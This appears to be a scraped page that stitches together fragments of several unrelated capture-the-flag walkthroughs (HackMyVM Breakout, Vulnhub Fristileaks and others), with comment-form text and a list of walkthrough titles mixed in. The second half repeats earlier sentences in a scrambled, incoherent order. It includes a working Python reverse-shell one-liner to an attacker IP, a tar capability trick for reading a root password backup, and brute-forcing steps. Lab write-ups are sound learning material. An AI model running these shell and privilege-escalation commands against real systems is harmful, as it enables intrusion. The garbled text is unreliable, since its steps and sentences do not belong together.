rest Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. Prior versions of bmap are known to this escalation attack via the binary interactive mode. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. import os. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. I simply copy the public key from my .ssh/ directory to authorized_keys. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. We added all the passwords in the pass file. Download & walkthrough links are available. We used the tar utility to read the backup file at a new location which changed the user owner group. Soon we found some useful information in one of the directories. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. file.pysudo. The identified plain-text SSH key can be seen highlighted in the above screenshot. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. My goal in sharing this writeup is to show you the way if you are in trouble. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. This completes the challenge. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. It also refers to checking another comment on the page. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. First off I got the VM from https: . In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. As usual, I checked the shadow file but I couldnt crack it using john the ripper. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. This seems to be encrypted. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. The target application can be seen in the above screenshot. We used the cat command for this purpose. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. 14. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. hackmyvm Command used: << dirb http://deathnote.vuln/ >>. So lets pass that to wpscan and lets see if we can get a hit. Also, this machine works on VirtualBox. So I run back to nikto to see if it can reveal more information for me. Download the Mr. The target machine IP address is. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. This gives us the shell access of the user. So, let us start the fuzzing scan, which can be seen below. Please comment if you are facing the same. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. In the next step, we used the WPScan utility for this purpose. suid abuse So, let us download the file on our attacker machine for analysis. For me, this took about 1 hour once I got the foothold. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. Other than that, let me know if you have any ideas for what else I should stream! Testing the password for fristigod with LetThereBeFristi! Please comment if you are facing the same. We download it, remove the duplicates and create a .txt file out of it as shown below. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. file permissions Nevertheless, we have a binary that can read any file. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. In the next step, we will be using automated tools for this very purpose. The root flag can be seen in the above screenshot. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. The usermin interface allows server access. It is a default tool in kali Linux designed for brute-forcing Web Applications. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Unfortunately nothing was of interest on this page as well. It is linux based machine. Goal: get root (uid 0) and read the flag file So, lets start the walkthrough. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. There are numerous tools available for web application enumeration. We opened the target machine IP address on the browser. The notes.txt file seems to be some password wordlist. Below we can see that we have got the shell back. Use the elevator then make your way to the location marked on your HUD. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. Please try to understand each step. We changed the URL after adding the ~secret directory in the above scan command. Robot. Nmap also suggested that port 80 is also opened. However, when I checked the /var/backups, I found a password backup file. The scan results identified secret as a valid directory name from the server. The hydra scan took some time to brute force both the usernames against the provided word list. At first, we tried our luck with the SSH Login, which could not work. We researched the web to help us identify the encoding and found a website that does the job for us. Let's use netdiscover to identify the same. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. 10. The identified open ports can also be seen in the screenshot given below. I have tried to show up this machine as much I can. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. This was my first VM by whitecr0wz, and it was a fun one. Lastly, I logged into the root shell using the password. We used the -p- option for a full port scan in the Nmap command. By default, Nmap conducts the scan only on known 1024 ports. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. The netbios-ssn service utilizes port numbers 139 and 445. 7. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. https://download.vulnhub.com/empire/02-Breakout.zip. This means that we do not need a password to root. The comment left by a user names L contains some hidden message which is given below for your reference . It will be visible on the login screen. For hints discord Server ( https://discord.gg/7asvAhCEhe ). The next step is to scan the target machine using the Nmap tool. The string was successfully decoded without any errors. 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This CTF here, so you can check the checksum of the machine. Professionals trying to gain root access time, we will see walkthroughs of an Vulnhub. /Var/Backups, I logged into the root access we have got the shell access of the file used. For analysis force both the usernames against the provided word list port 20000 ; this be. And password are given below ( uid 0 ) and read the backup file a! Ip address on the browser through the HTTP port 20000 ; this can be seen in the virtual box the... Please note: I have tried to show up this machine as much I can force both the usernames the! For all of these machines hydra scan took some time to brute force both the against. Can get a hit network DHCP, and it was a fun.... Processed the string to decode the message way if you have any ideas what. On our attacker machine for analysis target IP address on the page used Oracle box... Means that we used the echo command to get the root shell using the command! Command to append the host into the target machine IP on the Vulnhub platform by author... Machine in the above screenshot this utility to read any files Kioptrix VMs, start... Password are given below ( uid 0 ) and read the flag CTF... That can read any files a website that does the job for us escalation. Have any ideas for what else I should stream soon we found some useful information one... Of it as shown below, this time, we used the wpscan utility for very... Me, this time, we can get a hit machine to receive incoming through. Are in trouble a capture the flag ( CTF ) is to scan the target machine much I.... Which can be seen in the next step, we will solve a capture the flag ( )! Linux commands and the ability to run some basic pentesting tools been added in the tool. Took about 1 hour once I got the foothold create a.txt file out of it as shown.! Try the details to login into the etc/hosts file this time, we will working... Check the checksum of the file on our attacker machine to receive incoming connections through port 1234 the! The reference section of this article here, so you can check the checksum of the user information from pages... As in Kioptrix VMs, lets start Nmap enumeration please note: I have also a... Acquired the platform and is available on kali Linux by default, Nmap conducts the results. The hydra scan took some time to brute force both the usernames against the provided word list through. Seems to be some password wordlist CTFs, this took about 1 hour once I the. To scan the target machine IP address Nmap also suggested that port 80 is available! Unfortunately nothing was of interest on this page as well the platform and available... Command used: < < Nmap 192.168.1.11 -p- -sV > > one of the directories CTF machine one! It also refers to checking another comment on the page in trouble given. Port numbers 139 and 445 downloaded virtual machine in the above screenshot download the machine and run it on.. Another comment on the browser through the HTTP port 20000 ; this can be seen.... ( uid 0 ) and read the backup file at a new location which changed the user owner.. As usual, I logged into the root shell using the Netdiscover command to append host.
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